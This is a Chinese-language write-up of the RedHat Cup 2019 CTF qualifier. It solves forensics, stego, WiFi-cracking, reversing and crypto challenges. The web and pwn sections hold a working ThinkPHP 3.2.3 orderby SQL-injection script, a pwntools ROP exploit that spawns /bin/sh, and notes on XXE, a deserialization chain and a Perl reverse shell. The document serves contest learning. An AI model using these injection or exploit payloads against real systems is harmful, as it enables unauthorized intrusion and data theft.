第三届红帽杯线上初赛 RedHat 2019 WriteUp
前言
第三届红帽杯网络安全攻防大赛 线上初赛
比赛入口地址:https://race.ichunqiu.com/2019redhat
这次比赛共 1262 支队伍签到,我们解出 13 道题,排名第 5
今年比上一年比赛规模大很多。
0x00 Misc - Advertising for Marriage
内存取证题。
查看镜像信息。
volatility imageinfo -f Advertising\ for\ Marriage.raw
建议使用 WinXPSP2x86
预设。
查看进程。
volatility pslist -f Advertising\ for\ Marriage.raw
存在记事本的进程:notepad.exe
。
查看记事本。
volatility notepad -f Advertising\ for\ Marriage.raw
看到提示:hint:????needmoneyandgirlfirend
扫描所有文件。
volatility filescan -f Advertising\ for\ Marriage.raw
找到一张 png
图片:vegetable.png
。
导出图片。
volatility dumpfiles -f Advertising\ for\ Marriage.raw -Q 0x000000000249ae78 -D ./
打开图片。
图片无法显示,报错:IHDR: CRC ERROR
。
估计图片尺寸被修改了。
用脚本计算图片实际长度和宽度,并且生成修复后的图片。
import os
import binascii
import struct
img = open("vegetable.png", "rb").read()
for w in range(1024):
for h in range(1024):
data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff:
print w, h
print hex(w), hex(h)
open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:])
exit()
用 Stegsolve
查看图片,找到模糊的 flag
,一般情况较难恢复。同时,也发现 lsb
有点东西。
开头的 0x00000070
像是后面数据的长度,上网查了一下找到相同的例子,是使用 livz/cloacked-pixel 加密的。
这个工具解密需要密钥,密钥为上面记事本找到的提示:????needmoneyandgirlfirend
,需要魔改工具爆破前 4 字节。
爆破得到密钥 b1cxneedmoneyandgirlfirend
。
解密图片隐写信息,得到字符串:VmlyZ2luaWEgY2lwaGVydGV4dDpnbnh0bXdnN3IxNDE3cHNlZGJzNjI1ODdoMA==
。
进一步 base64
解码得到:Virginia ciphertext:gnxtmwg7r1417psedbs62587h0
。
使用 在线维吉尼亚密码解密工具 进行解密,密钥还是前面那个。
解密得到 flagisd7f1417bfafbf62587e0
。
Flag: flag{d7f1417bfafbf62587e0}
0x01 Misc - 玩具车
题目提供了以下文件。
大致就是提供了小车的原理图,l298n
的简易电路图,还有一堆音频文件。
使用 audacity
查看音频文件的波形,发现以下规律。
波形相同组一:L293_1_A1 ; L293_1_A2 ; L293_2_A1 ; L293_2_A2
波形相同组二:L293_1_B1 ; L293_1_B2 ; L293_2_B1 ; L293_2_B2
波形相同组三:L293_1_EnA ; L293_1_EnB ; L293_2_EnA ; L293_2_EnB
波形大小只有高/低两种,可能分别代表高电平/低电平,类似逻辑分析仪的数据。
按照以前用过 a4988
的经验,En
是使能端,需要高电平才会给电机输出驱动。 A
和 B
可以控制电机转动方向,进而控制小车直线运动与转向。
大致规律如下。
A(高电平) + B(高电平) = 前进
A(低电平) + B(低电平) = 后退
A(低电平) + B(高电平) = 原地右转
A(高电平) + B(低电平) = 原地左转
接下来就是 wave
和 PIL
相结合,把运动轨迹画出来。
import wave
import numpy as np
from PIL import Image, ImageDraw
wav_A = wave.open("L293_1_A1.wav", 'r')
wav_B = wave.open("L293_1_B1.wav", 'r')
wav_En = wave.open("L293_1_EnA.wav", 'r')
def read_wav(wav):
num_frame = wav.getnframes()
num_channel = wav.getnchannels()
framerate = wav.getframerate()
str_data = wav.readframes(num_frame)
wave_data = np.fromstring(str_data, dtype = np.short)
wave_data.shape = -1, num_channel
return wave_data, framerate
def convert_level(level):
if level != 0: return 1
return 0
def draw(wav_A, wav_B, wav_En):
wave_data_A, framerate_A = read_wav(wav_A)
wave_data_B, framerate_B = read_wav(wav_B)
wave_data_En, framerate_En = read_wav(wav_En)
width = 4000
height = 500
im = Image.new('RGB',(width,height),'white')
draw = ImageDraw.Draw(im)
pos = [300, 300]
direction = 1
walk = 0
cnt = 0
rotate_cnt = 0
for i in range(len(wave_data_A)):
cnt += 1
if cnt % 200 != 0: continue
level_A = convert_level(wave_data_A[i][0])
level_B = convert_level(wave_data_B[i][0])
level_En = convert_level(wave_data_En[i][0])
if level_En == 1:
if level_A == 0 and level_B == 0:
rotate_cnt = 0
walk = 1
draw.point((pos[0],pos[1]),'black')
if direction == 0:
pos[0] -= 1
if direction == 2:
pos[0] += 1
if direction == 1:
pos[1] += 1
if direction == 3:
pos[1] -= 1
if level_A == 1 and level_B == 1:
rotate_cnt = 0
walk = 1
draw.point((pos[0],pos[1]),'black')
if direction == 0:
pos[0] += 1
if direction == 2:
pos[0] -= 1
if direction == 1:
pos[1] -= 1
if direction == 3:
pos[1] += 1
if level_A == 0 and level_B == 1:
walk = 0
rotate_cnt += 1
if rotate_cnt % 40 == 0:
direction += 1
direction = direction % 4
if level_A == 1 and level_B == 0:
walk = 0
rotate_cnt += 1
if rotate_cnt % 40 == 0:
direction -= 1
if direction < 0: direction = 3
im.show()
draw(wav_A, wav_B, wav_En)
Flag: flag{63177867-8a43-47ab-9048-298867128b3a}
0x02 Misc - 恶臭的数据包
WiFi
流量数据 WPA
加密了,随便跑个字典拿到密码 12345678
。
aircrack-ng cacosmia.cap -w 100000.txt
直接解密流量数据包。
airdecap-ng cacosmia.cap -e mamawoxiangwantiequan -p 12345678
用 Wireshark
看流量,找到 POST
了三张 png
图片,但是结尾隐写了一个压缩包 flag.zip
,里面包含 flag.txt
。
导出png
图片文件,分离 flag.zip
,需要密码才能解压。
回到 POST
请求,在 Cookie
里找到一个 hint
。
意思是:密码就是上次ping的网站
。
ping
有 icmp
和 tcp
两种方式。如果 ping
域名时,会请求 dns
解析成 ip
。
这里大胆猜测 ping
的就是域名,所以直接找 dns
记录。
解压密码为:26rsfb.dnslog.cn
。
Flag: flag{f14376d0-793e-4e20-9eab-af23f3fdc158}
0x03 Reverse - xx
运行时缺失 vcruntime140_1.dll
文件,网上下载一个就可以了。
使用 IDA
的 FindCrypt
插件找到 TEA_DELTA
,结合题目名称 xx
,很快找到 xxtea
算法的加密函数 sub_140001AB0
。
程序大致流程:
输入19字节
取前4字节作为xxtea密钥(因为格式为flag{.*},所以密钥为“flag”)
xxtea加密这19字节,得到24字节密文
做置换
做异或
与内置密文做比较
可以直接写个脚本逆一下。
enc = 'CEBC406B7C3A95C0EF9B202091F70235231802C8E75656FA'.decode('hex')
dec1 = ''
for i in range(len(enc)/3):
j = len(enc)/3 - i - 1
res = ''
for k in enc[j*3:j*3+3]:
tmp = ord(k)
for l in range(j):
tmp ^= ord(enc[l])
res += chr(tmp)
dec1 = res + dec1
print dec1.encode('hex')
dec2 = [''] * len(dec1)
for i in range(len(dec1)):
dec2[i] = dec1[i]
box = [1,3,0,2,5,7,4,6,9,11,8,10,13,15,12,14,17,19,16,18,21,23,20,22]
print len(box)
for i in range(len(box)):
dec2[i] = dec1[box[i]]
dec3 = ''.join(dec2)
print dec3.encode('hex')
import struct
_DELTA = 0x9E3779B9
def _long2str(v, w):
n = (len(v) - 1) << 2
if w:
m = v[-1]
if (m < n - 3) or (m > n): return ''
n = m
s = struct.pack('<%iL' % len(v), *v)
return s[0:n] if w else s
def _str2long(s, w):
n = len(s)
m = (4 - (n & 3) & 3) + n
s = s.ljust(m, "\0")
v = list(struct.unpack('<%iL' % (m >> 2), s))
if w: v.append(n)
return v
def encrypt(str, key):
if str == '': return str
v = _str2long(str, True)
k = _str2long(key.ljust(16, "\0"), False)
n = len(v) - 1
z = v[n]
y = v[0]
sum = 0
q = 6 + 52 // (n + 1)
while q > 0:
sum = (sum + _DELTA) & 0xffffffff
e = sum >> 2 & 3
for p in xrange(n):
y = v[p + 1]
v[p] = (v[p] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff
z = v[p]
y = v[0]
v[n] = (v[n] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[n & 3 ^ e] ^ z))) & 0xffffffff
z = v[n]
q -= 1
return _long2str(v, False)
def decrypt(str, key):
if str == '': return str
v = _str2long(str, False)
k = _str2long(key.ljust(16, "\0"), False)
n = len(v) - 1
z = v[n]
y = v[0]
q = 6 + 52 // (n + 1)
sum = (q * _DELTA) & 0xffffffff
while (sum != 0):
e = sum >> 2 & 3
for p in xrange(n, 0, -1):
z = v[p - 1]
v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff
y = v[p]
z = v[n]
v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[0 & 3 ^ e] ^ z))) & 0xffffffff
y = v[0]
sum = (sum - _DELTA) & 0xffffffff
return _long2str(v, True)
key = 'flag'
dec4 = decrypt(dec3, key)
print len(dec4)
print dec4
Flag: flag{CXX_and_++tea}
0x04 Reverse - easyRE
主流程在 fini_array
里,不过前面的流程还是要走的。
第一层:
输入36字节
逐字节与偏移值异或,与栈上预设密文做比较
可以直接逆出来得到
Info:The first four chars are `flag`
继续往下走,第二层:
输入39字节
10轮base64编码
与.rodata的预设密文做比较
也可以直接逆出来得到
https://bbs.pediy.com/thread-254172.htm
继续往下走,第三层,到主流程。在 fini_array
里,函数 sub_400D35
:
一个简单异或,密钥为 4 字节。上面提示了明文开头 4 字节为“flag”,所以异或回来可以得到密钥,从而解密出明文。
enc1 = 'Iodl>Qnb(ocy\x7fy\x2ei\x7fd`3w}wek9{iy=~yL@EC'
dec1 = ''
for i in range(len(enc1)):
dec1 += chr(ord(enc1[i]) ^ i)
print dec1
from base64 import *
enc2 = "Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3Wkc5WFJsbDNXa1pPVlUxV2NIcFhhMk0xVmpKS1NHVkdXbFpOYmtKVVZtcEtTMUl5VGtsaVJtUk9ZV3hhZVZadGVHdFRNVTVYVW01T2FGSnRVbGhhVjNoaFZWWmtWMXBFVWxSTmJFcElWbTAxVDJGV1NuTlhia0pXWWxob1dGUnJXbXRXTVZaeVdrWm9hVlpyV1hwV1IzaGhXVmRHVjFOdVVsWmlhMHBZV1ZSR1lWZEdVbFZTYlhSWFRWWndNRlZ0TVc5VWJGcFZWbXR3VjJKSFVYZFdha1pXWlZaT2NtRkhhRk5pVjJoWVYxZDBhMVV3TlhOalJscFlZbGhTY1ZsclduZGxiR1J5VmxSR1ZXSlZjRWhaTUZKaFZqSktWVkZZYUZkV1JWcFlWV3BHYTFkWFRrZFRiV3hvVFVoQ1dsWXhaRFJpTWtsM1RVaG9hbEpYYUhOVmJUVkRZekZhY1ZKcmRGTk5Wa3A2VjJ0U1ExWlhTbFpqUldoYVRVWndkbFpxUmtwbGJVWklZVVprYUdFeGNHOVhXSEJIWkRGS2RGSnJhR2hTYXpWdlZGVm9RMlJzV25STldHUlZUVlpXTlZadE5VOVdiVXBJVld4c1dtSllUWGhXTUZwell6RmFkRkpzVWxOaVNFSktWa1phVTFFeFduUlRhMlJxVWxad1YxWnRlRXRXTVZaSFVsUnNVVlZVTURrPQ=="
dec2 = enc2
for i in range(10):
dec2 = b64decode(dec2)
print dec2
enc3 = '403520565D182245172F246E623C2754486C246E723C32455B'.decode("hex")
key = ''
for i in range(4):
key += chr(ord(enc3[i]) ^ ord('flag'[i]))
dec3 = ''
for i in range(len(enc3)):
dec3 += chr(ord(enc3[i]) ^ ord(key[i % 4]))
print dec3
Flag: flag{Act1ve_Defen5e_Test}
0x05 Reverse - calc
主流程有三处 sleep
,先 patch
掉。
没有符号表,而且一堆优化后的代码,还有又臭又长的析构。
好在使用的函数不算多,大部分函数都重复用了几次。
直接在函数调用处下断,看调用前后形参值的变化情况,大概可以猜出来函数的作用。
最先能看出来的是,我们需要输入 3组数字
,然后这 3组数字
去做一系列运算,最后得到 2组数字
需要相等。
这里 3组数字
暂且表示为:a
,b
,c
。
(a[1] - a[0]) >> 2
可以看作取长度的操作。
实现了比较 a < c
的功能:
实现了比较 b < a
的功能:
然后调试猜出来的函数有这些:
总共用到 加、减、乘、次幂、赋值
五种运算函数。
最后,能总结出来以下内容。
b < a < c
(a+b)**3 - 3*a*(b**2) - 3*b*(a**2) == (c+4)**3 - 12*(c**2) - c*48 - 22
化简得到:
b < a < c
a**3 + b**3 - c**3 == 42
用 z3
算不出来。
然后看到 42
,想起前段时间 中科大信息安全大赛 有原题,做过的题差点忘了。
搜素关键词:42 sum of three cubes
(-80538738812075974)**3 + 80435758145817515**3 + 12602123297335631**3 = 42
所以,能得到结果。
a = 80435758145817515
b = 12602123297335631
c = 80538738812075974
Flag: flag{951e27be2b2f10b7fa22a6dc8f4682bd}
0x06 Reverse - childRE
这题 patch掉
4处调用反调试检测函数的地方,还有主函数里的 Sleep
。
主函数的这个位置,大概调了一下,是对我们的输入做置换的,而且我们只能输入31字节。
然后网上查了 UnDecorateSymbolName
的作用,学习了一下 Visual C++名字修饰。
那么总结一下大概流程。
输入31字节
置换
C++反修饰
经过一个商和余数分离,然后查表字符替换的算法
与预设值进行比较
可以先从预设值,逆向推导回来,得到反修饰的结果。
private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)
然后根据反修饰的结果,再编写 C++例程
,得到修饰名称。
#include <iostream>
#include "stdafx.h"
class R0Pxx {
public:
R0Pxx() {
unsigned char tmp;
My_Aut0_PWN(&tmp);
}
private:
char * My_Aut0_PWN(unsigned char *) {
printf("%s\n", __FUNCDNAME__);
char tmp;
return &tmp;
};
};
int main()
{
new R0Pxx();
getchar();
return 0;
}
附上替换和置换的逆算法。
from hashlib import md5
a = '55565653255552225565565555243466334653663544426565555525555222'
b = '(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&'
c = '1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;\'ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./'
dec = ''
for i in range(0x3E):
dec += chr(c.index(a[i]) * 0x17 + c.index(b[i]))
print dec
d = 'abcdefghijklmnopqrstuvwxyz01234'
e = 'pqhrsidtujvwkebxylz0mf12n34ogca'
f = []
for i in range(0x1f):
f.append(d.index(e[i]))
g = '?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z'
h = [''] * 0x1f
for i in range(0x1f):
h[f[i]] = g[i]
h = ''.join(h)
print md5(h).hexdigest()
Flag: flag{63b148e750fed3a33419168ac58083f5}
0x07 Reverse - Snake
Unity
逆向。
C#
可以使用 ILSpy
和 dnSpy
逆向和调试。
常规套路,先逆 Assembly-CSharp.dll
。
这里调用到外部DLL Interface.dll
,可以在 Plugins
目录下找到。
不过 Interface.dll
应该是用 C++
写的,所以只能 IDA
了。
看了一下,flag
应该是在 signed __int64 __fastcall GameObject(int a1)
里输出的。
不过这代码又臭又长,不好弄。
但是直接调用这个函数,不考虑外部变量的影响,能够人为控制的只有该函数的参数 a1
,而且控制 a1
可以走不同的流程。
fuzz
了一下,结合代码总结了规律。
0<=a1<=99: 运行将近1分钟,然后输出You win! flag is或者Try again,返回7
100<=a1<=199: 尝试了a1的全部可能性,一致输出EDG failed,返回996
a1>=200: 代码里直接返回996,无输出
a1<0: 输出假flag,返回-1
那么,只有 0<=a1<=99
和 a1<0
可能输出 flag
。
直接爆破一下。
#include "iostream"
#include <Windows.h>
#include <stdio.h>
#include "stdafx.h"
#include "libloaderapi.h"
#include <stdlib.h>
int main(int argc, char* argv[])
{
const char* funcName = "GameObject";
HMODULE hDLL = LoadLibrary(L"C:\\Users\\impakho\\Desktop\\Snake\\Snake_Data\\Plugins\\Interface.dll");
if (hDLL != NULL)
{
printf("load succ\n");
typedef int(*funcptr)(int);
funcptr func = (funcptr)GetProcAddress(hDLL, funcName);
if (func != NULL)
{
signed int res = func(atoi(argv[1]));
printf("%d\n", res);
/*
for (int i = 0; i < 100; i++) {
signed int res = func(i);
printf("%d: %d\n", i, res);
}
*/
printf("have func\n");
}
else
{
printf("no func\n");
}
}
else
{
printf("load fail\n");
}
getchar();
return 0;
}
手动多开窗口、进程,进行爆破。
在 a=19
的时候,得到 flag
。
Flag: flag{Ch4rp_W1th_R$@}
0x08 Crypto - Broadcast
估计是出题人忘记删除题目里的 flag
了,导致翻车事故。
Flag: flag{fa0f8335-ae80-448e-a329-6fb69048aae4}
0x09 Web - easyweb
题目给了一个 XYHCMS
。
网站开启了列目录。
比较了一下文件,推测应该是 XYHCMS 3.6
,网上没找到可用漏洞。
然后框架用的是 ThinkPHP 3.2.3
,网上倒是能找到好几个漏洞。
比如 缓存漏洞
、 where注入
、 orderby注入
等等。
不过能够结合列目录,直接 getshell
的 缓存漏洞
,审了一下代码,应该用不了。
所以应该是找注入点。
这里就是一个明显的 tp 3.2.3 orderby注入
,可以用数组的键名(key)构造SQL语句进行注入。
虽然没有开调试模式(Debug Mode),但还是可以报错注入,可以通过访问 /App/Runtime/Logs/Api/
下的日志文件,查看报错回显信息。
然后就是爆库、爆表、爆字段名。
import requests
url = 'http://7db76480390842bd9cff719ba383c3bf783025e6683844a8.changame.ichunqiu.com'
// brute schema_name
for i in range(3):
requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(schema_name),"+str(i*25+1)+",25)%20from%20information_schema.SCHEMATA)),1);]")
// brute table_name
for i in range(30):
requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(table_name),"+str(i*25+1)+",25)%20from%20information_schema.tables where table_schema%3d'xyhcms')),1);]")
// brute column_name
for i in range(5):
requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(column_name),"+str(i*25+1)+",25)%20from%20information_schema.COLUMNS where table_name%3d'fl4g')),1);]")
// read flag
for i in range(3):
requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(flaag),"+str(i*25+1)+",25)%20from%20fl4g)),1);]")
print 'To view the errorlog, please visit %s/App/Runtime/Logs/Api/' % url
Flag: flag{d86731ac-e38f-465a-a691-ea78cc604f57}
0x0A Pwn - three [Ex师傅]
int main_method()
{
int result; // eax
int size; // [esp+Ch] [ebp-1Ch]
int v2; // [esp+10h] [ebp-18h]
int (__cdecl *v3)(signed int); // [esp+14h] [ebp-14h]
int v4; // [esp+18h] [ebp-10h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
_IO_puts("Give me a index:");
v2 = sub_8048ADF((char *)dword_80F6C80[0]);
v3 = (int (__cdecl *)(signed int))__mmap(0, 4096, 7, 0x22, 0, 0);
_IO_puts("Three is good number,I like it very much!");
__libc_read(0, v3, 3);
_IO_puts("Leave you name of size:");
scanf("%d", &size);
if ( size < 0 || size > 512 )
exit(0);
_IO_puts("Tell me:");
__libc_read(0, &name_buf, size - 1);
v4 = v3(1);
if ( v2 == v4 )
result = _IO_puts("1");
else
result = _IO_puts("2");
return result;
}
程序流很简单,就是读三个字节执行,然后和 flag
进行判断。
通过调试可以看到直接将 esp
替换成 name_buf
进行 ROP
。
Breakpoint 1, 0x08048c5b in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0xf7ff8000 ◂— xchg ecx, esp /* 0xc3e187 */
EBX 0x80f4f74 ◂— 0x0
ECX 0x80f6cc0 —▸ 0x8072fb1 ◂— pop edx
EDX 0x1fe
EDI 0x80481b8 ◂— push ebx
ESI 0x80f4f74 ◂— 0x0
EBP 0xffffcce8 —▸ 0xffffccf8 ◂— 0x0
ESP 0xffffccb0 ◂— 0x1
EIP 0x8048c5b ◂— call eax
──────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────
► 0x8048c5b call eax
0x80f6cc0
就是 name_buf
。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols.c', 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
# pass
# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './pwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('47.104.190.38', 12001)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x8048c5b
'''
f = open('/tmp/gdb_pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
sh.sendlineafter('index:\n', str(0))
# pause()
payload = asm('''
xchg ecx, esp
ret
''')
sh.sendafter(' much!\n', payload)
sh.sendlineafter('size:\n', str(0x1ff))
# pause()
layout = [
0x08072fb1, #: pop edx; pop ecx; pop ebx; ret;
0,
0,
0x80f6d40,
0x080c11e6, #: pop eax; ret;
11,
0x080738c0, #: int 0x80; ret;
]
sh.sendafter('me:\n', flat(layout).ljust(0x80, '\0') + '/bin/sh\0')
sh.interactive()
clear()
Flag: flag{1f8e093b45bbb8f4b14478b253}
0x0B Web - Ticket_system [12end师傅]
登陆进去有上传点,上传任意 xml
,然后可以手动提交 xml
数据,存在 xxe
。
读取源码发现是 5.2.0
的 thinkphp
,Smi1e
博客有 5.2.x
的反序列化链,payload
搬过来直接可以打到。
通过 perl
成功反弹 shell
。
www-data
权限,根目录存在 /readflag
,运行发现是 *CTF
原题。
在网上找到 php
解题文件,file_put_contents
写到本地运行即可。
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);
$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
$question = fread($pipes[1],1024); // 获取程序问题
$question = fread($pipes[1],1024); // 获取程序问题
$question = trim($question);
var_dump($question);
eval('$result = '.$question.';'); // 计算问题结果
fwrite($pipes[0], $result); // 回答程序问题
fclose($pipes[0]);
var_dump($result);
// $flag = stream_get_contents($pipes[1]);// getflag
$flag = fread($pipes[1],1024);
$flag = fread($pipes[1],1024);
$flag = fread($pipes[1],1024);
fclose($pipes[1]);
var_dump($flag);
$return_value = proc_close($process);
echo "command returned $return_value\n";
}
?>
Flag: flag{3ff32148-e229-41fd-b7b9-d09e76d35daf}
0x0C Misc - 签到 [12end师傅]
https://www.wjx.top/jq/48618223.aspx
直接回答问卷即可拿到 flag
。
Comments